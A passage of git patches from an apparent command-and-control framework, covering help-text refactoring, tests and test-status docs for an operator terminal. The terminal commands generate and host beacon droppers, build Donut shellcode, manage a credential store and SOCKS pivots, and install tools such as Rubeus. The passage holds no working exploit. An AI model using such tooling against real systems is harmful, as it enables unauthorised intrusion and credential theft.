"2026-05-07" + date: "2026-05-08" build: "local-dev" tester: "max" - evidence: "Hosted the uploaded TXT artifact from Terminal using the copied artifact ID, then downloaded the hosted file from the browser." - notes: "Terminal host command works with artifact ID." + evidence: "Hosted the uploaded TXT artifact from Terminal using the copied artifact ID, then downloaded the hosted file from the browser. Host autocomplete now presents upload artifacts as name plus short hash and the command still resolves by name, short hash, or full hash." + notes: "Terminal host command works with artifact references and human-readable autocomplete." - id: TEAMSERVER-HOSTED-ARTIFACTS-001 status: pass @@ -81,6 +81,14 @@ results: evidence: "After the artifact delete fix, an uploaded artifact could be deleted directly from the Artifacts tab." notes: "Validated uploaded artifact delete from the client UI. Generated and hosted delete paths were already covered by automated tests." + - id: TEAMSERVER-ARTIFACT-CATALOG-001 + status: pass + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "Artifacts tab validated base filters plus Scripts, Generated, Upload, and Hosted categories. Hosted artifact flow works after autocomplete cleanup." + notes: "Manual UI coverage complements TeamServer artifact catalog automated tests." + - id: COMMON-LOADMODULE-001 status: pass date: "2026-05-07" From 779d821ef28d4462548b3ca3e4bb76a375237741 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Fri, 8 May 2026 16:04:42 +0200 Subject: [PATCH 55/82] manual test --- C2Client/C2Client/TerminalPanel.py | 198 ++++++++++++------ .../tests/test_terminal_panel_dropper_arch.py | 68 +++++- core | 2 +- docs/TEST_GAPS.md | 4 - docs/TEST_MATRIX.md | 8 +- docs/TEST_STATE.md | 14 +- docs/testing/manual-results.yaml | 32 +++ ...amServerCommandPreparationServiceTests.cpp | 18 ++ 8 files changed, 254 insertions(+), 90 deletions(-) diff --git a/C2Client/C2Client/TerminalPanel.py b/C2Client/C2Client/TerminalPanel.py index d0ae8de..bf46774 100644 --- a/C2Client/C2Client/TerminalPanel.py +++ b/C2Client/C2Client/TerminalPanel.py @@ -220,40 +220,83 @@ def isTerminalResponseError(response): return not is_response_ok(response) or ErrorInstruction in terminal_response_text(response) -HelpInstruction = "Help" - -SocksInstruction = "Socks" -SocksHelp = """Socks: -Socks start -Socks bind beaconHash -Socks unbind -Socks stop""" - -BatcaveInstruction = "Batcave" -BatcaveHelp = """Batcave: -Install the given module locally or on the team server: -exemple: -- Batcave Install rubeus -- Batcave BundleInstall recon -- Batcave Search rec""" - -DropperInstruction = "Dropper" -DropperConfigSubInstruction = "Config" -DropperConfigShellcodeGeneratorDisplay = "ShellcodeGenerator" +HelpInstruction = "help" + +SocksInstruction = "socks" +SocksHelp = """socks +Manage the local SOCKS bridge bindings. + +Usage: socks [beacon_hash] + +Kind: terminal +Target: teamserver +Requires session: no + +Arguments: + (text, required) - One of start, stop, unbind, or bind. + [beacon_hash] (session, optional) - Beacon hash required by bind. + +Examples: + socks start + socks bind beaconHash + socks unbind + socks stop""" + +BatcaveInstruction = "batcave" +BatcaveHelp = """batcave +Install or search Batcave tools from the local terminal. + +Usage: batcave + +Kind: terminal +Target: client/teamserver +Requires session: no + +Arguments: + (text, required) - One of install, bundleInstall, or search. + (text, required) - Tool or bundle name. + +Examples: + batcave install rubeus + batcave bundleInstall recon + batcave search rec""" + +DropperInstruction = "dropper" +DropperConfigSubInstruction = "config" +DropperConfigShellcodeGeneratorDisplay = "shellcodeGenerator" DropperConfigShellcodeGeneratorKey = DropperConfigShellcodeGeneratorDisplay.lower() -DropperConfigBeaconArchDisplay = "BeaconArch" +DropperConfigBeaconArchDisplay = "beaconArch" DropperConfigBeaconArchKey = DropperConfigBeaconArchDisplay.lower() -ShellcodeGeneratorDonut = "Donut" +ShellcodeGeneratorDonut = "donut" DefaultWindowsArch = "x64" SupportedWindowsArchs = ("x86", "x64", "arm64") -DropperAvailableHeader = "- Available dropper:\n" +DropperAvailableHeader = "\nAvailable droppers:\n" DropperArchitectureHelp = ( "\nArchitecture:\n" - " Dropper Config BeaconArch x86|x64|arm64\n" - " Dropper --arch x86|x64|arm64\n" + " dropper config beaconArch x86|x64|arm64\n" + " dropper --arch x86|x64|arm64\n" ) +DropperHelp = """dropper +Generate and host a beacon dropper. + +Usage: dropper [arguments] + +Kind: terminal +Target: client/teamserver +Requires session: no + +Arguments: + (text, optional) - Dropper module name. + config (text, optional) - Show or update dropper generation defaults. + [listener_download] (listener, optional) - Listener used to host generated files. + [listener_beacon] (listener, optional) - Listener embedded in the generated beacon. + +Examples: + dropper config + dropper config beaconArch x64 + dropper listenerDownload listenerBeacon --arch x64""" DropperThreadRunningMessage = "Dropper thread already running" -DropperConfigHeader = "- Dropper Config:" +DropperConfigHeader = "\nDropper config:" DropperConfigShellcodeGeneratorLine = f" {DropperConfigShellcodeGeneratorDisplay}: {{}}" DropperConfigShellcodeGeneratorAvailableLine = " Available: {}" DropperConfigBeaconArchLine = f" {DropperConfigBeaconArchDisplay}: {{}}" @@ -271,40 +314,73 @@ def isTerminalResponseError(response): DropperModuleGetHelpFunction = "getHelpExploration" DropperModuleGeneratePayloadFunction = "generatePayloadsExploration" -HostInstruction = "Host" -HostHelp="""Host: -Host a TeamServer artifact so it can be downloaded by a web request from an HTTP/HTTPS listener: -exemple: -- Host artifactId hostListenerHash -- Host artifactId hostListenerHash hostedName.exe""" - -CredentialStoreInstruction = "CredentialStore" -CredentialStoreHelp = """CredentialStore: -Handle the credential store: -exemple: -- CredentialStore get -- CredentialStore set domain username credential -- CredentialStore search something""" +HostInstruction = "host" +HostHelp="""host +Host a TeamServer artifact so it can be downloaded through an HTTP/HTTPS listener. + +Usage: host [hosted_filename] + +Kind: terminal +Target: teamserver +Requires session: no + +Arguments: + (artifact, required) - Artifact name, short hash, or full hash. + (listener, required) - HTTP/HTTPS listener used to serve the file. + [hosted_filename] (text, optional) - Published filename. Defaults to the artifact display name. + +Examples: + host text.txt listenerHash + host artifactShortHash listenerHash hostedName.exe""" + +CredentialStoreInstruction = "credentialStore" +CredentialStoreHelp = """credentialStore +Read and update the TeamServer credential store. + +Usage: credentialStore [arguments] + +Kind: terminal +Target: teamserver +Requires session: no + +Arguments: + (text, required) - One of get, set, or search. + [arguments] (text, optional) - Action-specific values. + +Examples: + credentialStore get + credentialStore set domain username credential + credentialStore search username""" GetSubInstruction = "get" SetSubInstruction = "set" SearchSubInstruction = "search" -ReloadModulesInstruction = "ReloadModules"; -ReloadModulesHelp = """ReloadModules: -Command the TeamServer to reload the modules libraries located in TeamServerModulesDirectoryPath. -Can be used to add a new functionality without restarting the TeamServer. -""" +ReloadModulesInstruction = "reloadModules"; +ReloadModulesHelp = """reloadModules +Reload TeamServer module libraries without restarting the TeamServer. + +Usage: reloadModules + +Kind: terminal +Target: teamserver +Requires session: no + +Examples: + reloadModules""" def getHelpMsg(): - helpText = HostInstruction+"\n" - helpText += DropperInstruction+"\n" - helpText += BatcaveInstruction+"\n" - helpText += CredentialStoreInstruction+"\n" - helpText += SocksInstruction+"\n" - helpText += ReloadModulesInstruction - return helpText + return """Available terminal commands: +Use help for command-specific details. + +- Local: + host - Host a TeamServer artifact through an HTTP/HTTPS listener. + dropper - Generate and host a beacon dropper. + batcave - Install or search Batcave tools. + credentialStore - Read and update TeamServer credentials. + socks - Manage local SOCKS bridge bindings. + reloadModules - Reload TeamServer module libraries.""" def normalizeWindowsArch(arch): @@ -642,7 +718,7 @@ def build_terminal_completer_data(grpcClient: Any = None) -> list[tuple[str, lis (HelpInstruction, [(command, []) for command in terminal_commands]), (HostInstruction, _host_artifact_entries(artifacts, listener_with_optional_filename)), (DropperInstruction, dropper_children), - (BatcaveInstruction, [("Install", []), ("BundleInstall", []), ("Search", [])]), + (BatcaveInstruction, [("install", []), ("bundleInstall", []), ("search", [])]), (CredentialStoreInstruction, [(GetSubInstruction, []), (SetSubInstruction, []), (SearchSubInstruction, [])]), (SocksInstruction, [("start", []), ("stop", []), ("unbind", []), ("bind", _session_entries(sessions))]), (ReloadModulesInstruction, []), @@ -653,8 +729,8 @@ def build_terminal_completer_data(grpcClient: Any = None) -> list[tuple[str, lis ErrorFileNotFound = "Error: File doesn't exist." ErrorListener = "Error: Download listener must be of type http or https." TerminalWelcomeMessage = ( - "Local TeamServer terminal. Type Help to list available commands, " - "or Help for command-specific details." + "Local TeamServer terminal. Type help to list available commands, " + "or help for command-specific details." ) @@ -825,7 +901,7 @@ def runCommand(self): if instructions[0].lower()==HelpInstruction.lower(): if len(instructions) == 1: - self.runHelp() + self.runHelp(commandLine) elif len(instructions) >=2: if instructions[1].lower() == BatcaveInstruction.lower(): self.printInTerminal(commandLine, BatcaveHelp) @@ -836,7 +912,7 @@ def runCommand(self): elif instructions[1].lower() == ReloadModulesInstruction.lower(): self.printInTerminal(commandLine, ReloadModulesHelp) elif instructions[1].lower() == DropperInstruction.lower(): - availableModules = DropperAvailableHeader + availableModules = DropperHelp + DropperAvailableHeader for module in DropperModules: availableModules += " " + module.__name__ + "\n" availableModules += DropperArchitectureHelp @@ -846,7 +922,7 @@ def runCommand(self): elif instructions[1].lower() == SocksInstruction.lower(): self.printInTerminal(commandLine, SocksHelp) else: - self.runHelp() + self.printInTerminal(commandLine, f"No terminal help available for {instructions[1]}.") elif instructions[0].lower()==BatcaveInstruction.lower(): self.runBatcave(commandLine, instructions) elif instructions[0].lower()==HostInstruction.lower(): @@ -865,8 +941,8 @@ def runCommand(self): self.setCursorEditorAtEnd() - def runHelp(self): - self.printInTerminal(HelpInstruction, getHelpMsg()) + def runHelp(self, commandLine=HelpInstruction): + self.printInTerminal(commandLine, getHelpMsg()) def runReloadModules(self, commandLine, instructions): @@ -1200,7 +1276,7 @@ def _get_available_shellcode_generators(self): # def runDropper(self, commandLine, instructions): if len(instructions) < 2: - availableModules = DropperAvailableHeader + availableModules = DropperHelp + DropperAvailableHeader for module in DropperModules: availableModules += " " + module.__name__ + "\n" availableModules += DropperArchitectureHelp diff --git a/C2Client/tests/test_terminal_panel_dropper_arch.py b/C2Client/tests/test_terminal_panel_dropper_arch.py index 0553e50..d356830 100644 --- a/C2Client/tests/test_terminal_panel_dropper_arch.py +++ b/C2Client/tests/test_terminal_panel_dropper_arch.py @@ -90,7 +90,7 @@ def test_extract_dropper_target_arch_accepts_aliases_and_removes_flag(): def test_dropper_arch_help_and_file_names_are_arch_specific(): - assert "Dropper Config BeaconArch x86|x64|arm64" in terminal_panel.DropperArchitectureHelp + assert "dropper config beaconArch x86|x64|arm64" in terminal_panel.DropperArchitectureHelp assert terminal_panel.makeBeaconFilePath("windows", "arm64") == "./Beacon-arm64.exe" assert terminal_panel.makeBeaconFilePath("linux", "x64") == "./Beacon-linux" @@ -110,7 +110,7 @@ def fake_create_donut_shellcode(beacon_file_path, beacon_arg, target_arch, outpu grpc = FakeGrpc() worker = terminal_panel.DropperWorker( grpc, - "Dropper FakeDropper dl beacon --arch arm64", + "dropper FakeDropper dl beacon --arch arm64", "fakedropper", "dl", "beacon", @@ -130,7 +130,7 @@ def fake_create_donut_shellcode(beacon_file_path, beacon_arg, target_arch, outpu assert donut_calls[0][0] == "./Beacon-arm64.exe" assert donut_calls[0][2] == "arm64" assert (tmp_path / "Beacon-arm64.exe").read_bytes() == b"beacon" - assert results == [("Dropper FakeDropper dl beacon --arch arm64", "generated")] + assert results == [("dropper FakeDropper dl beacon --arch arm64", "generated")] def test_terminal_command_error_message_uses_status_message(qtbot): @@ -138,7 +138,7 @@ def test_terminal_command_error_message_uses_status_message(qtbot): terminal = terminal_panel.Terminal(parent, FakeKoGrpc()) qtbot.addWidget(terminal) - terminal.runReloadModules("ReloadModules", ["ReloadModules"]) + terminal.runReloadModules("reloadModules", ["reloadModules"]) assert "Reload failed." in terminal.editorOutput.toPlainText() assert "raw failure" not in terminal.editorOutput.toPlainText() @@ -150,7 +150,7 @@ def test_terminal_host_uses_artifact_reference(qtbot): terminal = terminal_panel.Terminal(parent, grpc) qtbot.addWidget(terminal) - terminal.runHost("Host artifact-123 listener-pri", ["Host", "artifact-123", "listener-pri"]) + terminal.runHost("host artifact-123 listener-pri", ["host", "artifact-123", "listener-pri"]) assert "infoListener listener-pri" in grpc.commands assert "hostArtifact listener-pri artifact-123" in grpc.commands @@ -166,8 +166,8 @@ def test_terminal_host_accepts_selected_artifact_label_token(qtbot): qtbot.addWidget(terminal) terminal.runHost( - "Host dropper.exe(artifact-123) listener-pri", - ["Host", "dropper.exe(artifact-123)", "listener-pri"], + "host dropper.exe(artifact-123) listener-pri", + ["host", "dropper.exe(artifact-123)", "listener-pri"], ) assert "hostArtifact listener-pri artifact-123" in grpc.commands @@ -185,7 +185,7 @@ def test_terminal_shows_welcome_message(qtbot): assert lines[2] == "" assert "[+]" not in output assert "Local TeamServer terminal." in output - assert "Type Help to list available commands" in output + assert "Type help to list available commands" in output def test_terminal_uses_dark_panel_toolbar(qtbot): @@ -207,15 +207,61 @@ def test_terminal_user_commands_use_user_badge(qtbot, tmp_path, monkeypatch): terminal = terminal_panel.Terminal(parent, FakeGrpc()) qtbot.addWidget(terminal) - terminal.commandEditor.setText("Help") + terminal.commandEditor.setText("help") terminal.runCommand() output = terminal.editorOutput.toPlainText() - assert "[user] Help" in output + assert "[user] help" in output assert output.endswith("\n\n") assert "[+]" not in output +def test_terminal_help_lists_lowercase_commands_with_descriptions(qtbot): + parent = QWidget() + terminal = terminal_panel.Terminal(parent, FakeGrpc()) + qtbot.addWidget(terminal) + + terminal.runHelp("help") + + output = terminal.editorOutput.toPlainText() + assert "Available terminal commands:" in output + assert "Use help for command-specific details." in output + assert "host - Host a TeamServer artifact through an HTTP/HTTPS listener." in output + assert "dropper - Generate and host a beacon dropper." in output + assert "Host\n" not in output + assert "Socks\n" not in output + + +def test_terminal_specific_help_matches_command_spec_style(qtbot, tmp_path, monkeypatch): + monkeypatch.chdir(tmp_path) + parent = QWidget() + terminal = terminal_panel.Terminal(parent, FakeGrpc()) + qtbot.addWidget(terminal) + + terminal.commandEditor.setText("help host") + terminal.runCommand() + + output = terminal.editorOutput.toPlainText() + assert "host\nHost a TeamServer artifact" in output + assert "Usage: host [hosted_filename]" in output + assert "Kind: terminal" in output + assert "Target: teamserver" in output + assert "Arguments:" in output + assert "Examples:" in output + + +def test_terminal_unknown_help_is_explicit(qtbot, tmp_path, monkeypatch): + monkeypatch.chdir(tmp_path) + parent = QWidget() + terminal = terminal_panel.Terminal(parent, FakeGrpc()) + qtbot.addWidget(terminal) + + terminal.commandEditor.setText("help doesNotExist") + terminal.runCommand() + + assert "No terminal help available for doesNotExist." in terminal.editorOutput.toPlainText() + + def test_create_donut_shellcode_reports_subprocess_crash(tmp_path, monkeypatch): monkeypatch.chdir(tmp_path) @@ -281,7 +327,7 @@ def test_terminal_host_completer_displays_artifact_label_but_inserts_safe_token( assert artifact_item.text() == "dropper.exe (artifact-123)" assert artifact_item.data(terminal_panel.CodeCompleter.MatchRole) == "dropper.exe(artifact-123)" - assert artifact_item.data(terminal_panel.CodeCompleter.ConcatenationRole) == "Host dropper.exe(artifact-123)" + assert artifact_item.data(terminal_panel.CodeCompleter.ConcatenationRole) == "host dropper.exe(artifact-123)" def test_terminal_command_editor_tab_cycles_without_static_completer_reset(tmp_path, qtbot, monkeypatch): diff --git a/core b/core index 756a06a..6eb062b 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit 756a06a5ceeb0f3eb8d13a62f8365e5f4d668353 +Subproject commit 6eb062b57af81400d5facbe166af024e767abb3c diff --git a/docs/TEST_GAPS.md b/docs/TEST_GAPS.md index c90f4e8..91f0c40 100644 --- a/docs/TEST_GAPS.md +++ b/docs/TEST_GAPS.md @@ -7,11 +7,7 @@ _Generated by `scripts/generate-test-state.py`._ | blocked | critical | `RELEASE-WINDOWS-ARTIFACTS-001` | Release | Windows release artifacts | Build/release output contains WindowsBeacons/, WindowsModules, Tools, Scripts, CommandSpecs, and TeamServer data layout. | n/a | blocked | | partial | critical | `ARTIFACT-LAYOUT-001` | Artifacts | Release data layout | Release scripts place files under the canonical data layout with platform and arch subfolders. | pass | untested | | partial | critical | `ARTIFACT-TOOLS-001` | Artifacts | Tools | Resolve Tools// and Tools/Any/any for module preparers and terminal upload. | pass | untested | -| partial | critical | `C2CLIENT-STARTUP-GUI-001` | C2Client | GUI startup | Start python3 -m C2Client.GUI without crashing and create non-closable core tabs. | pass | untested | -| partial | critical | `COMMON-HELP-001` | CommonCommands | help | List commands and show command-specific help from CommandSpec. | pass | untested | | partial | critical | `TEAMSERVER-CONFIG-DIRECTORIES-001` | TeamServer | Runtime directory layout | Resolve release data layout for Tools, Scripts, UploadedArtifacts, GeneratedArtifacts, hosted, Beacons, Modules, and CommandSpecs. | pass | untested | -| partial | critical | `TEAMSERVER-LISTENER-SESSION-SERVICE-001` | TeamServer | Listener/session service | Stream sessions/listeners, queue commands, deduplicate responses, track modules, and route command results. | pass | untested | -| partial | critical | `TEAMSERVER-STARTUP-TLS-001` | TeamServer | Startup and TLS | Start TeamServer with generated certificate, client auth, and readable config errors. | pass | untested | | partial | critical | `VALIDATION-ERROR-HANDLING-001` | Validation | Error handling | Reject invalid commands, missing artifacts, missing tools, invalid listener fields, and failed module preparation with clear messages. | pass | untested | | partial | high | `C2CLIENT-CONFIG-CERT-001` | C2Client | TLS certificate config | Use C2_CERT_PATH when set and report a clear error when the certificate is missing. | pass | untested | | partial | high | `C2CLIENT-CONSOLE-HELP-001` | C2Client | Beacon command help | Render help from TeamServer CommandSpec without legacy << or >> markers. | pass | untested | diff --git a/docs/TEST_MATRIX.md b/docs/TEST_MATRIX.md index bd1508c..5b2af03 100644 --- a/docs/TEST_MATRIX.md +++ b/docs/TEST_MATRIX.md @@ -25,7 +25,7 @@ _Generated by `scripts/generate-test-state.py`._ | planned | planned | medium | `C2CLIENT-TERMINAL-CREDENTIALS-001` | C2Client | Credential store terminal commands | client | n/a | n/a | n/a | n/a | n/a | | partial | auto+manual | medium | `C2CLIENT-AI-PANEL-001` | C2Client | Data AI panel | client | n/a | n/a | n/a | pass | untested | | partial | auto+manual | high | `C2CLIENT-TERMINAL-DROPPER-001` | C2Client | Dropper | client | x64 | https | hosted | pass | untested | -| partial | auto+manual | critical | `C2CLIENT-STARTUP-GUI-001` | C2Client | GUI startup | client | n/a | n/a | n/a | pass | untested | +| pass | auto+manual | critical | `C2CLIENT-STARTUP-GUI-001` | C2Client | GUI startup | client | n/a | n/a | n/a | pass | pass | | partial | auto+manual | medium | `C2CLIENT-GRAPH-PANEL-001` | C2Client | Graph panel | client | n/a | any | n/a | pass | untested | | partial | auto+manual | high | `C2CLIENT-HOOKS-PANEL-001` | C2Client | Hooks panel | client | n/a | any | scripts | pass | untested | | partial | auto+manual | high | `C2CLIENT-LISTENER-PANEL-001` | C2Client | Listener panel | client | n/a | any | n/a | pass | untested | @@ -36,7 +36,7 @@ _Generated by `scripts/generate-test-state.py`._ | pass | auto+manual | critical | `C2CLIENT-TERMINAL-HOST-001` | C2Client | Terminal host command | client | n/a | https | hosted | pass | pass | | partial | auto+manual | high | `C2CLIENT-TERMINAL-BASE-001` | C2Client | Terminal tab | client | n/a | n/a | n/a | pass | untested | | partial | auto+manual | high | `COMMON-END-001` | CommonCommands | end | any | any | any | n/a | pass | untested | -| partial | auto+manual | critical | `COMMON-HELP-001` | CommonCommands | help | any | any | any | command_specs | pass | untested | +| pass | auto+manual | critical | `COMMON-HELP-001` | CommonCommands | help | any | any | any | command_specs | pass | pass | | pass | auto+manual | high | `COMMON-LISTMODULE-001` | CommonCommands | listModule | any | any | any | modules | pass | pass | | partial | auto+manual | high | `COMMON-LISTENER-001` | CommonCommands | listener | any | any | any | n/a | pass | untested | | pass | auto+manual | critical | `COMMON-LOADMODULE-001` | CommonCommands | loadModule | any | any | any | modules | pass | pass | @@ -109,11 +109,11 @@ _Generated by `scripts/generate-test-state.py`._ | pass | auto | critical | `TEAMSERVER-GENERATED-ARTIFACTS-001` | TeamServer | Generated artifact store | teamserver | any | n/a | generated | pass | n/a | | pass | auto+manual | high | `TEAMSERVER-HOSTED-ARTIFACTS-001` | TeamServer | Hosted artifacts | teamserver | n/a | https | hosted | pass | pass | | partial | auto+manual | high | `TEAMSERVER-LISTENER-ARTIFACT-SERVICE-001` | TeamServer | Listener artifact service | teamserver | any | any | beacons | pass | untested | -| partial | auto+manual | critical | `TEAMSERVER-LISTENER-SESSION-SERVICE-001` | TeamServer | Listener/session service | teamserver | any | any | n/a | pass | untested | +| pass | auto+manual | critical | `TEAMSERVER-LISTENER-SESSION-SERVICE-001` | TeamServer | Listener/session service | teamserver | any | any | n/a | pass | pass | | partial | auto+manual | critical | `TEAMSERVER-CONFIG-DIRECTORIES-001` | TeamServer | Runtime directory layout | teamserver | any | n/a | any | pass | untested | | partial | auto+manual | medium | `TEAMSERVER-SOCKS-SERVICE-001` | TeamServer | SOCKS service | teamserver | n/a | any | n/a | pass | untested | | partial | auto+manual | high | `TEAMSERVER-SHELLCODE-SERVICE-001` | TeamServer | Shellcode service | teamserver | x64 | n/a | generated | pass | untested | -| partial | auto+manual | critical | `TEAMSERVER-STARTUP-TLS-001` | TeamServer | Startup and TLS | teamserver | n/a | https | n/a | pass | untested | +| pass | auto+manual | critical | `TEAMSERVER-STARTUP-TLS-001` | TeamServer | Startup and TLS | teamserver | n/a | https | n/a | pass | pass | | partial | auto+manual | critical | `VALIDATION-ERROR-HANDLING-001` | Validation | Error handling | any | any | any | any | pass | untested | | untested | manual | critical | `VALIDATION-GOLDEN-PATH-LINUX-001` | Validation | Linux golden path | linux | x64 | https | any | n/a | untested | | untested | manual | critical | `VALIDATION-GOLDEN-PATH-WINDOWS-001` | Validation | Windows golden path | windows | x64 | https | any | n/a | untested | diff --git a/docs/TEST_STATE.md b/docs/TEST_STATE.md index bfc278d..f0846f0 100644 --- a/docs/TEST_STATE.md +++ b/docs/TEST_STATE.md @@ -10,10 +10,10 @@ _Generated by `scripts/generate-test-state.py`._ | Status | Count | |---|---:| -| pass | 39 | +| pass | 43 | | fail | 0 | | blocked | 1 | -| partial | 64 | +| partial | 60 | | untested | 7 | | planned | 2 | @@ -32,12 +32,12 @@ _Generated by `scripts/generate-test-state.py`._ |---|---:|---:|---:|---:|---:|---:|---:| | Artifacts | 3 | 0 | 0 | 2 | 0 | 0 | 5 | | Beacon | 5 | 0 | 0 | 0 | 0 | 0 | 5 | -| C2Client | 9 | 0 | 0 | 11 | 0 | 1 | 21 | -| CommonCommands | 3 | 0 | 0 | 4 | 0 | 0 | 7 | +| C2Client | 10 | 0 | 0 | 10 | 0 | 1 | 21 | +| CommonCommands | 4 | 0 | 0 | 3 | 0 | 0 | 7 | | Listeners | 1 | 0 | 0 | 1 | 4 | 0 | 6 | | Modules | 12 | 0 | 0 | 39 | 0 | 1 | 52 | | Release | 0 | 0 | 1 | 0 | 1 | 0 | 2 | -| TeamServer | 6 | 0 | 0 | 6 | 0 | 0 | 12 | +| TeamServer | 8 | 0 | 0 | 4 | 0 | 0 | 12 | | Validation | 0 | 0 | 0 | 1 | 2 | 0 | 3 | ## Critical Non-Pass @@ -47,11 +47,7 @@ _Generated by `scripts/generate-test-state.py`._ | blocked | `RELEASE-WINDOWS-ARTIFACTS-001` | Release | Windows release artifacts | n/a | blocked | | partial | `ARTIFACT-LAYOUT-001` | Artifacts | Release data layout | pass | untested | | partial | `ARTIFACT-TOOLS-001` | Artifacts | Tools | pass | untested | -| partial | `C2CLIENT-STARTUP-GUI-001` | C2Client | GUI startup | pass | untested | -| partial | `COMMON-HELP-001` | CommonCommands | help | pass | untested | | partial | `TEAMSERVER-CONFIG-DIRECTORIES-001` | TeamServer | Runtime directory layout | pass | untested | -| partial | `TEAMSERVER-LISTENER-SESSION-SERVICE-001` | TeamServer | Listener/session service | pass | untested | -| partial | `TEAMSERVER-STARTUP-TLS-001` | TeamServer | Startup and TLS | pass | untested | | partial | `VALIDATION-ERROR-HANDLING-001` | Validation | Error handling | pass | untested | | untested | `RELEASE-LINUX-ARTIFACTS-001` | Release | Linux release artifacts | n/a | untested | | untested | `VALIDATION-GOLDEN-PATH-LINUX-001` | Validation | Linux golden path | n/a | untested | diff --git a/docs/testing/manual-results.yaml b/docs/testing/manual-results.yaml index 010eee9..76f254d 100644 --- a/docs/testing/manual-results.yaml +++ b/docs/testing/manual-results.yaml @@ -81,6 +81,14 @@ results: evidence: "After the artifact delete fix, an uploaded artifact could be deleted directly from the Artifacts tab." notes: "Validated uploaded artifact delete from the client UI. Generated and hosted delete paths were already covered by automated tests." + - id: C2CLIENT-STARTUP-GUI-001 + status: pass + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "python3 -m C2Client.GUI starts successfully after terminal/help/artifact UI changes." + notes: "Validated fixed tabs, terminal startup help, terminal lowercase autocomplete, and Artifacts loading." + - id: TEAMSERVER-ARTIFACT-CATALOG-001 status: pass date: "2026-05-08" @@ -89,6 +97,22 @@ results: evidence: "Artifacts tab validated base filters plus Scripts, Generated, Upload, and Hosted categories. Hosted artifact flow works after autocomplete cleanup." notes: "Manual UI coverage complements TeamServer artifact catalog automated tests." + - id: TEAMSERVER-STARTUP-TLS-001 + status: pass + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "Clean TeamServer startup and C2Client GUI connection over TLS validated. Correct C2_CERT_PATH works and base RPCs respond." + notes: "Validated TeamServer startup, TLS client connection, and base sessions/listeners/artifacts/commands RPC availability." + + - id: TEAMSERVER-LISTENER-SESSION-SERVICE-001 + status: pass + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "Validated listModule, loadModule ls, loadModule cd, duplicate loadModule ls rejection, cd ., ls, sleep 0.01, and listModule on an active beacon. listenerPoll heartbeat no longer creates noisy task-result logs after starting a beacon-side TCP listener." + notes: "Covers command queueing, duplicate module tracking, result routing, sleep command result, module list state, and child listener heartbeat handling." + - id: COMMON-LOADMODULE-001 status: pass date: "2026-05-07" @@ -113,6 +137,14 @@ results: evidence: "unloadModule cat completed with Success. A following cat toto.testupload returned Module not loaded." notes: "Windows beacon over TCP." + - id: COMMON-HELP-001 + status: pass + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "Terminal help and beacon console help were validated after command casing and description alignment. Terminal commands are displayed in lowercase, include descriptions, and command-specific help follows the CommandSpec-style layout." + notes: "Validated help and help behavior in both terminal and beacon console." + - id: MODULE-RUN-CONTRACT-001 status: pass date: "2026-05-07" diff --git a/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp b/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp index f92152d..0fbd252 100644 --- a/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp +++ b/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp @@ -218,6 +218,24 @@ void testPrepareCommonCommand() C2Message message; assert(service.prepareMessage("sleep 0.5", message, true) == 0); assert(message.instruction() == SleepCmd); + + C2Message listenerMessage; + assert(service.prepareMessage("listener start tcp 0.0.0.0 4444", listenerMessage, true) == 0); + assert(listenerMessage.instruction() == ListenerCmd); + assert(listenerMessage.cmd() == "STA tcp 0.0.0.0 4444"); + + C2Message invalidPortMessage; + assert(service.prepareMessage("listener start tcp 0.0.0.0 notaport", invalidPortMessage, true) == -1); + assert(invalidPortMessage.instruction().empty()); + assert(invalidPortMessage.returnvalue() == "Error: Invalid TCP listener port. Expected an integer between 1 and 65535."); + + C2Message zeroPortMessage; + assert(service.prepareMessage("listener start tcp 0.0.0.0 0", zeroPortMessage, true) == -1); + assert(zeroPortMessage.instruction().empty()); + + C2Message highPortMessage; + assert(service.prepareMessage("listener start tcp 0.0.0.0 65536", highPortMessage, true) == -1); + assert(highPortMessage.instruction().empty()); } void testPrepareModuleCommandCaseInsensitive() From 3ae2017352a21d6b76b5c599b91a7af5f98d6cb3 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Fri, 8 May 2026 18:33:16 +0200 Subject: [PATCH 56/82] manual test --- C2Client/C2Client/ArtifactPanel.py | 52 +++++-------------- C2Client/tests/test_artifact_panel.py | 36 +++++++------ C2Client/tests/test_console_panel.py | 4 +- core | 2 +- docs/TEST_GAPS.md | 2 - docs/TEST_MATRIX.md | 4 +- docs/TEST_STATE.md | 10 ++-- docs/testing/manual-results.yaml | 24 +++++++++ .../teamServer/TeamServerArtifactCatalog.cpp | 25 ++++++++- .../TeamServerFileArtifactService.cpp | 1 - .../tests/TeamServerArtifactCatalogTests.cpp | 20 +++++-- 11 files changed, 106 insertions(+), 74 deletions(-) diff --git a/C2Client/C2Client/ArtifactPanel.py b/C2Client/C2Client/ArtifactPanel.py index bf1d8ee..05ddb16 100644 --- a/C2Client/C2Client/ArtifactPanel.py +++ b/C2Client/C2Client/ArtifactPanel.py @@ -31,25 +31,21 @@ ALL_FILTER = "All" CATEGORY_FILTERS = [ALL_FILTER, "module", "beacon", "tool", "script", "payload", "hosted", "upload", "download", "minidump", "screenshot"] -SCOPE_FILTERS = [ALL_FILTER, "generated", "beacon", "implant", "teamserver", "server", "operator", "any"] -TARGET_FILTERS = [ALL_FILTER, "teamserver", "beacon", "listener", "operator", "any"] -PLATFORM_FILTERS = [ALL_FILTER, "windows", "linux", "server", "any"] -ARCH_FILTERS = [ALL_FILTER, "x64", "x86", "arm64", "any"] -RUNTIME_FILTERS = [ALL_FILTER, "native", "file", "python", "dotnet", "powershell", "bof", "shellcode", "text", "archive", "any"] +PLATFORM_FILTERS = [ALL_FILTER, "windows", "linux", "server"] +ARCH_FILTERS = [ALL_FILTER, "x64", "x86", "arm64"] +RUNTIME_FILTERS = [ALL_FILTER, "native", "file", "python", "powershell", "shell", "cmd", "dotnet", "bof", "shellcode", "text", "archive", "script"] UPLOAD_PLATFORMS = {"windows", "linux", "any"} UPLOAD_ARCHS = {"x64", "x86", "arm64", "any"} COL_CATEGORY = 